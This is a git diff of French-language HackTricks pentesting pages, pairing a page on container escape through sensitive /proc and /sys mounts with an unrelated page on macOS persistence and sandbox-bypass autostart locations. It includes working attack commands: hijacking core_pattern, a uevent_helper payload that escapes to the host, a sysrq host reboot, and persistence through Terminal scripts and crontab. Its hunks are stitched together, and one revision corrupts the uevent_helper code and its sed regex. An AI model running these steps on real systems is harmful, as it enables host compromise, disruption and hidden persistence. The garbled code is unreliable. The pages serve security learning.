* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,167 +1,197 @@
|
|||
# Montages Sensibles
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, monter de manière incorrecte `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.
|
||||
|
||||
L'exposition de `/proc` et `/sys` sans une isolation de l'espace de noms appropriée présente des risques de sécurité importants, notamment l'agrandissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou consultés par un utilisateur non autorisé, peuvent entraîner une évasion de conteneur, une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé.
|
||||
**Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
**Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts).**
|
||||
## Vulnérabilités procfs
|
||||
|
||||
# Vulnérabilités de procfs
|
||||
### `/proc/sys`
|
||||
|
||||
## `/proc/sys`
|
||||
Ce répertoire permet l'accès pour modifier les variables du noyau, généralement via `sysctl(2)`, et contient plusieurs sous-répertoires préoccupants :
|
||||
Ce répertoire permet d'accéder à la modification des variables du noyau, généralement via `sysctl(2)`, et contient plusieurs sous-répertoires préoccupants :
|
||||
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
* Permet de définir un programme à exécuter lors de la génération d'un fichier core avec les 128 premiers octets comme arguments. Cela peut entraîner une exécution de code si le fichier commence par un pipe `|`.
|
||||
* **Exemple de test et d'exploitation** :
|
||||
|
||||
### **`/proc/sys/kernel/core_pattern`**
|
||||
- Décrit dans [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Permet de définir un programme à exécuter lors de la génération de fichiers core avec les 128 premiers octets comme arguments. Cela peut entraîner une exécution de code si le fichier commence par un pipe `|`.
|
||||
- **Exemple de test et d'exploitation** :
|
||||
```bash
|
||||
[ -w /proc/sys/kernel/core_pattern ] && echo Oui # Test d'accès en écriture
|
||||
cd /proc/sys/kernel
|
||||
echo "|$overlay/shell.sh" > core_pattern # Définir un gestionnaire personnalisé
|
||||
sleep 5 && ./crash & # Déclencher le gestionnaire
|
||||
echo "|$overlay/shell.sh" > core_pattern # Définit un gestionnaire personnalisé
|
||||
sleep 5 && ./crash & # Déclenche le gestionnaire
|
||||
```
|
||||
|
||||
### **`/proc/sys/kernel/modprobe`**
|
||||
- Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Contient le chemin du chargeur de module du noyau, invoqué pour charger les modules du noyau.
|
||||
- **Exemple de vérification d'accès** :
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
* Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Contient le chemin du chargeur de module du noyau, invoqué pour charger les modules du noyau.
|
||||
* **Exemple de vérification d'accès** :
|
||||
|
||||
```bash
|
||||
ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe
|
||||
```
|
||||
|
||||
### **`/proc/sys/vm/panic_on_oom`**
|
||||
- Référencé dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Un indicateur global qui contrôle si le noyau panique ou invoque l'OOM killer lorsqu'une condition OOM se produit.
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
### **`/proc/sys/fs`**
|
||||
- Selon [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contient des options et des informations sur le système de fichiers.
|
||||
- L'accès en écriture peut permettre diverses attaques de déni de service contre l'hôte.
|
||||
* Référencé dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Un indicateur global qui contrôle si le noyau panique ou invoque l'OOM killer lorsqu'une condition OOM se produit.
|
||||
|
||||
### **`/proc/sys/fs/binfmt_misc`**
|
||||
- Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique.
|
||||
- Peut entraîner une élévation de privilèges ou un accès à un shell root si `/proc/sys/fs/binfmt_misc/register` est inscriptible.
|
||||
- Exploit pertinent et explication :
|
||||
- [Rootkit de pauvre homme via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
## Autres dans `/proc`
|
||||
* Selon [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contient des options et des informations sur le système de fichiers.
|
||||
* L'accès en écriture peut permettre diverses attaques de déni de service contre l'hôte.
|
||||
|
||||
### **`/proc/config.gz`**
|
||||
- Peut révéler la configuration du noyau si `CONFIG_IKCONFIG_PROC` est activé.
|
||||
- Utile pour les attaquants pour identifier les vulnérabilités dans le noyau en cours d'exécution.
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
* Permet d'enregistrer des interprètes pour des formats binaires non natifs en fonction de leur numéro magique.
|
||||
* Peut entraîner une élévation de privilèges ou un accès à un shell root si `/proc/sys/fs/binfmt_misc/register` est inscriptible.
|
||||
* Exploit pertinent et explication :
|
||||
* [Rootkit de pauvre homme via binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Autres dans `/proc`
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
* Peut révéler la configuration du noyau si `CONFIG_IKCONFIG_PROC` est activé.
|
||||
* Utile pour les attaquants pour identifier les vulnérabilités dans le noyau en cours d'exécution.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
* Permet d'invoquer des commandes Sysrq, pouvant entraîner des redémarrages immédiats du système ou d'autres actions critiques.
|
||||
* **Exemple de redémarrage de l'hôte** :
|
||||
|
||||
### **`/proc/sysrq-trigger`**
|
||||
- Permet d'invoquer des commandes Sysrq, pouvant entraîner des redémarrages immédiats du système ou d'autres actions critiques.
|
||||
- **Exemple de redémarrage de l'hôte** :
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Redémarre l'hôte
|
||||
```
|
||||
|
||||
### **`/proc/kmsg`**
|
||||
- Expose les messages du tampon de l'anneau du noyau.
|
||||
- Peut aider dans les exploits du noyau, les fuites d'adresses et fournir des informations sensibles sur le système.
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
### **`/proc/kallsyms`**
|
||||
- Liste les symboles exportés du noyau et leurs adresses.
|
||||
- Essentiel pour le développement d'exploits du noyau, en particulier pour contourner le KASLR.
|
||||
- Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`.
|
||||
- Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Expose les messages du tampon de l'anneau du noyau.
|
||||
* Peut aider dans les exploits du noyau, les fuites d'adresses et fournir des informations sensibles sur le système.
|
||||
|
||||
### **`/proc/[pid]/mem`**
|
||||
- Interagit avec le périphérique mémoire du noyau `/dev/mem`.
|
||||
- Historiquement vulnérable aux attaques d'élévation de privilèges.
|
||||
- Plus sur [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
### **`/proc/kcore`**
|
||||
- Représente la mémoire physique du système au format de noyau ELF.
|
||||
- La lecture peut divulguer le contenu de la mémoire de l'hôte et des autres conteneurs.
|
||||
- Une taille de fichier importante peut entraîner des problèmes de lecture ou des plantages logiciels.
|
||||
- Utilisation détaillée dans [Dumping /proc/kcore en 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
* Liste les symboles exportés du noyau et leurs adresses.
|
||||
* Essentiel pour le développement d'exploits du noyau, en particulier pour surmonter KASLR.
|
||||
* Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`.
|
||||
* Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
### **`/proc/kmem`**
|
||||
- Interface alternative pour `/dev/kmem`, représentant la mémoire virtuelle du noyau.
|
||||
- Permet la lecture et l'écriture, donc la modification directe de la mémoire du noyau.
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
### **`/proc/mem`**
|
||||
- Interface alternative pour `/dev/mem`, représentant la mémoire physique.
|
||||
- Permet la lecture et l'écriture, la modification de toute la mémoire nécessite la résolution des adresses virtuelles en physiques.
|
||||
* Interagit avec le périphérique mémoire du noyau `/dev/mem`.
|
||||
* Historiquement vulnérable aux attaques d'élévation de privilèges.
|
||||
* Plus sur [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
### **`/proc/sched_debug`**
|
||||
- Renvoie des informations de planification des processus, contournant les protections de l'espace de noms PID.
|
||||
- Expose les noms de processus, les identifiants et les identifiants de cgroup.
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
### **`/proc/[pid]/mountinfo`**
|
||||
- Fournit des informations sur les points de montage dans l'espace de noms de montage du processus.
|
||||
- Expose l'emplacement du `rootfs` du conteneur ou de l'image.
|
||||
* Représente la mémoire physique du système au format de noyau ELF.
|
||||
* La lecture peut divulguer le contenu de la mémoire de l'hôte et des autres conteneurs.
|
||||
* Une taille de fichier importante peut entraîner des problèmes de lecture ou des plantages logiciels.
|
||||
* Utilisation détaillée dans [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
## Vulnérabilités de `/sys`
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
* Interface alternative pour `/dev/kmem`, représentant la mémoire virtuelle du noyau.
|
||||
* Permet la lecture et l'écriture, donc la modification directe de la mémoire du noyau.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
* Interface alternative pour `/dev/mem`, représentant la mémoire physique.
|
||||
* Permet la lecture et l'écriture, la modification de toute la mémoire nécessite la résolution des adresses virtuelles en physiques.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
* Renvoie des informations de planification des processus, contournant les protections de l'espace de noms PID.
|
||||
* Expose les noms de processus, les identifiants et les identifiants de cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
* Fournit des informations sur les points de montage dans l'espace de noms de montage du processus.
|
||||
* Expose l'emplacement du `rootfs` du conteneur ou de l'image.
|
||||
|
||||
### Vulnérabilités `/sys`
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
* Utilisé pour gérer les `uevents` des périphériques du noyau.
|
||||
* Écrire dans `/sys/kernel/uevent_helper` peut exécuter des scripts arbitraires lors de déclenchements `uevent`.
|
||||
* **Exemple d'exploitation** : %%%bash
|
||||
|
||||
## Crée une charge utile
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
## Trouve le chemin de l'hôte à partir du montage OverlayFS pour le conteneur
|
||||
|
||||
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
||||
|
||||
## Définit uevent\_helper sur un assistant malveillant
|
||||
|
||||
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
|
||||
|
||||
## Déclenche un uevent
|
||||
|
||||
### **`/sys/kernel/uevent_helper`**
|
||||
- Utilisé pour gérer les `uevents` des périphériques du noyau.
|
||||
- L'écriture dans `/sys/kernel/uevent_helper` peut exécuter des scripts arbitraires lors des déclenchements `uevent`.
|
||||
- **Exemple d'exploitation** :
|
||||
%%%bash
|
||||
# Crée une charge utile
|
||||
echo "#!/bin/sh" > /evil-helper
|
||||
echo "ps > /output" >> /evil-helper
|
||||
chmod +x /evil-helper
|
||||
# Trouve le chemin de l'hôte à partir du montage OverlayFS pour le conteneur
|
||||
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||
# Définit uevent_helper sur l'assistant malveillant
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
# Déclenche un uevent
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
# Lit la sortie
|
||||
cat /output
|
||||
%%%
|
||||
|
||||
### **`/sys/class/thermal`**
|
||||
- Contrôle les paramètres de température, pouvant entraîner des attaques de déni de service ou des dommages physiques.
|
||||
## Lit la sortie
|
||||
|
||||
### **`/sys/kernel/vmcoreinfo`**
|
||||
- Fuites d'adresses du noyau, compromettant potentiellement le KASLR.
|
||||
cat /output %%%
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
### **`/sys/kernel/security`**
|
||||
- Héberge l'interface `securityfs`, permettant la configuration des modules de sécurité Linux comme AppArmor.
|
||||
- L'accès pourrait permettre à un conteneur de désactiver son système MAC.
|
||||
* Contrôle les paramètres de température, pouvant causer des attaques DoS ou des dommages physiques.
|
||||
|
||||
### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`**
|
||||
- Exposent des interfaces pour interagir avec les variables EFI dans la NVRAM.
|
||||
- Une mauvaise configuration ou une exploitation peut entraîner des ordinateurs portables inutilisables ou des machines hôtes non démarrables.
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
### **`/sys/kernel/debug`**
|
||||
- `debugfs` offre une interface de débogage "sans règles" au noyau.
|
||||
- Historique de problèmes de sécurité en raison de sa nature non restreinte.
|
||||
* Fuites d'adresses du noyau, compromettant potentiellement le KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
* Contient l'interface `securityfs`, permettant la configuration des modules de sécurité Linux comme AppArmor.
|
||||
* L'accès pourrait permettre à un conteneur de désactiver son système MAC.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`**
|
||||
|
||||
* Expose des interfaces pour interagir avec les variables EFI dans la NVRAM.
|
||||
* Une mauvaise configuration ou exploitation peut entraîner des ordinateurs portables inutilisables ou des machines hôtes non démarrables.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
* `debugfs` offre une interface de débogage "sans règles" au noyau.
|
||||
* Historique de problèmes de sécurité en raison de sa nature non restreinte.
|
||||
|
||||
### Références
|
||||
|
||||
## Références
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
* [Comprendre et renforcer les conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Comprendre et renforcer la sécurité des conteneurs Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abus des conteneurs Linux privilégiés et non privilégiés](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -19,7 +19,7 @@ Cette section est fortement basée sur la série de blogs [**Au-delà des bons v
|
|||
## Contournement de la sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très courante**, un **certain laps de temps** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de permissions root.
|
||||
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très courante**, un **laps de temps déterminé** ou une **action que vous pouvez généralement effectuer** depuis l'intérieur d'une sandbox sans avoir besoin de permissions root.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -42,9 +42,9 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour
|
|||
* **Déclencheur** : Redémarrage
|
||||
* Nécessite les droits root
|
||||
* **`~/Library/LaunchAgents`**
|
||||
* **Déclencheur** : Reconnexion
|
||||
* **Déclencheur** : Connexion
|
||||
* **`~/Library/LaunchDemons`**
|
||||
* **Déclencheur** : Reconnexion
|
||||
* **Déclencheur** : Connexion
|
||||
|
||||
#### Description & Exploitation
|
||||
|
||||
|
@ -103,8 +103,8 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.
|
|||
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||
* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mais vous devez trouver une application avec un contournement de TCC qui exécute un shell qui charge ces fichiers
|
||||
* Contournement TCC : [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mais vous devez trouver une application avec un contournement TCC qui exécute un shell qui charge ces fichiers
|
||||
|
||||
#### Emplacements
|
||||
|
||||
|
@ -149,17 +149,17 @@ Configurer l'exploitation indiquée et se déconnecter et se reconnecter ou mêm
|
|||
#### Emplacement
|
||||
|
||||
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
|
||||
* **Déclencheur** : Redémarrer les applications réouvertes
|
||||
* **Déclencheur** : Redémarrer l'ouverture des applications
|
||||
|
||||
#### Description & Exploitation
|
||||
|
||||
Toutes les applications à réouvrir se trouvent dans le plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
Toutes les applications à rouvrir se trouvent dans le plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
|
||||
Ainsi, pour que les applications réouvertes lancent la vôtre, vous devez simplement **ajouter votre application à la liste**.
|
||||
Ainsi, pour que les applications à rouvrir lancent la vôtre, vous devez simplement **ajouter votre application à la liste**.
|
||||
|
||||
L'UUID peut être trouvé en listant ce répertoire ou avec `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||
|
||||
Pour vérifier les applications qui seront réouvertes, vous pouvez exécuter :
|
||||
Pour vérifier les applications qui seront rouvertes, vous pouvez faire :
|
||||
```bash
|
||||
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
|
||||
#or
|
||||
|
@ -186,7 +186,7 @@ Pour **ajouter une application à cette liste**, vous pouvez utiliser :
|
|||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **Déclencheur** : Ouvrir le Terminal
|
||||
|
||||
#### Description & Exploitation
|
||||
#### Description et Exploitation
|
||||
|
||||
Dans **`~/Library/Preferences`** sont stockées les préférences de l'utilisateur dans les Applications. Certaines de ces préférences peuvent contenir une configuration pour **exécuter d'autres applications/scripts**.
|
||||
|
||||
|
@ -238,7 +238,7 @@ Vous pouvez ajouter ceci depuis la ligne de commande avec:
|
|||
|
||||
#### Description & Exploitation
|
||||
|
||||
Si vous créez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'application **Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées à l'intérieur. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux.
|
||||
Si vous créez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'application **Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux.
|
||||
|
||||
Essayez avec:
|
||||
```bash
|
||||
|
@ -271,7 +271,7 @@ open /tmp/test.terminal
|
|||
Vous pouvez également utiliser les extensions **`.command`**, **`.tool`**, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si le terminal a **l'Accès complet au disque**, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal).
|
||||
Si le terminal a **Accès complet au disque**, il pourra effectuer cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal).
|
||||
{% endhint %}
|
||||
|
||||
### Plugins Audio
|
||||
|
@ -286,15 +286,15 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
#### Emplacement
|
||||
|
||||
* **`/Library/Audio/Plug-Ins/HAL`**
|
||||
* Nécessite les droits d'administrateur
|
||||
* Nécessite des privilèges d'administrateur
|
||||
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
|
||||
* **`/Library/Audio/Plug-ins/Components`**
|
||||
* Nécessite les droits d'administrateur
|
||||
* Nécessite des privilèges d'administrateur
|
||||
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
|
||||
* **`~/Library/Audio/Plug-ins/Components`**
|
||||
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
|
||||
* **`/System/Library/Components`**
|
||||
* Nécessite les droits d'administrateur
|
||||
* Nécessite des privilèges d'administrateur
|
||||
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
|
||||
|
||||
#### Description
|
||||
|
@ -371,7 +371,7 @@ Le fichier de l'utilisateur root est stocké dans **`/private/var/root/Library/P
|
|||
## Contournement conditionnel du bac à sable
|
||||
|
||||
{% hint style="success" %}
|
||||
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet de simplement exécuter quelque chose en **l'écrivant dans un fichier** et **en n'attendant pas des conditions super communes** comme des **programmes spécifiques installés, des actions d'utilisateur "non courantes" ou des environnements.**
|
||||
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du bac à sable** qui vous permet d'exécuter simplement quelque chose en l'écrivant dans un fichier et en **attendant des conditions non super communes** comme des **programmes spécifiques installés, des actions ou environnements "non communs"**.
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
@ -379,7 +379,7 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour
|
|||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Cependant, vous devez être capable d'exécuter le binaire `crontab`
|
||||
* Cependant, vous devez pouvoir exécuter le binaire `crontab`
|
||||
* Ou être root
|
||||
* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
|
@ -387,15 +387,15 @@ Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contour
|
|||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* Accès en écriture directe nécessite les droits root. Pas besoin de droits root si vous pouvez exécuter `crontab <fichier>`
|
||||
* **Déclencheur**: Dépend de la tâche cron
|
||||
* **Déclencheur** : Dépend de la tâche cron
|
||||
|
||||
#### Description & Exploitation
|
||||
|
||||
Listez les tâches cron de l'**utilisateur actuel** avec:
|
||||
Listez les tâches cron de l'**utilisateur actuel** avec :
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
